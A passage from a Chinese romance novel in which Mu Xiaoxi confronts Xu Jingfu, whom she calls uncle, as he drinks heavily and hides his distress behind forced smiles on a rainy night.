可他的神情却仿佛是什么事也没有,好像比前面刚进宅院时看起来状态还要好一些,整个人脸上浮现出和下午在古城时相差无几的笑意和轻松,他还跟她解释:“妈有些困就先去睡了,我又不想跟别的人一起吃饭,就回来了,晚上……” 他刚想说晚上还是回去别墅里住,外头就有了滴滴答答的雨声。 而且非常戏剧性地,在一分钟不到的时间内,从淅淅沥沥下成了噼里啪啦,好像在故意堵住徐敬孚要说的后半句。 “……”徐敬孚翘着嘴角笑了,眼角皱起了一丝细纹,跟她耸了下肩,“看来得在这儿凑合一晚了。” 木晓晞还是呆呆地站着。 “怎么傻了,坐啊。”他招呼她过去,拉着她坐在自己身旁,还把手里的酒瓶拿给她看,“我专门去藏酒阁拿了两瓶真货,比我屋头那瓶还要好些,真货中的真货。” 说着,拿了杯子给她倒了一点。 木晓晞看着他的一举一动,看他倒完她的,也给自己倒了一杯,她的只倒了个杯底,而他的杯子则是满了。 他将杯子递给她,然后跟她碰了杯。 “尝尝。” 说着端着酒杯像喝水一样一饮而尽。 木晓晞一动不动地看着他,见他喝了一杯,又给自己倒了一杯,然后又如先前那样一口气喝掉了。接着他开始倒第三杯,再一次准备端杯子时,木晓晞抓住了他的手腕。 “叔叔。” 徐敬孚看她。 她和他对上了眼,看到了他两只眼睛中明显到令人无法忽略的血丝还有眼角不算明显的虚假的笑纹,她感到哪里有些不对,很轻很小心地问:“您还好吗?” 徐敬孚像听到什么奇怪的话一样,笑着端起酒杯喝了一口,问她:“我看起来不好吗?” 木晓晞的视线落在他的衣服上。 “哦,这个,洗了个脸,不小心弄湿了。” “……” “怎么不说话?”徐敬孚端着杯子跟她手里的杯子再碰了碰,“我不喜欢你不说话。” 木晓晞抿了下嘴。 “你不说话的时候,会让我猜不透你的想法。”他再一口把酒喝完,“会让我觉得你跟陈遇一样,滴水不漏,无懈可击。”他摇头道,“我不喜欢这样。” 木晓晞问:“发生什么事了?” 徐敬孚:“没发生什么。” 木晓晞又问他:“叔叔,发生什么事了?” 徐敬孚:“喝酒吧,这可是真东西。” 木晓晞第三次问他,这一次换了问题:“叔叔,是徐董事泼了你水吗?” 徐敬孚听到她这样问,眉头都没皱一下,准备再一次拿酒瓶倒酒,木晓晞把瓶子和他的酒杯拿走放到远处,将菜也往远处挪了一下,整个人坐到了他正对面的茶几边上。 “徐叔叔!” 徐敬孚拿过她的杯子,仰头喝了,然后抬起头直视她,开玩笑道:“让你说话,没让你吼我,声音真大。” “难过就不要笑了,我也不喜欢。”木晓晞说,“而且,不说话的不是我,是您。” “好凶。” “……” 徐敬孚把杯子放下,靠到沙发上,眼神中已经带了些微醺的酒气:“好凶的一个小丫头,就知道跟我发脾气……对,我心情是不好,你能怎么办?我现在不笑了,你能怎么样?” 说着,他的嘴角慢慢拉了下去,确实不笑了。 “木晓晞,你跟木钧也能这么说话吗?”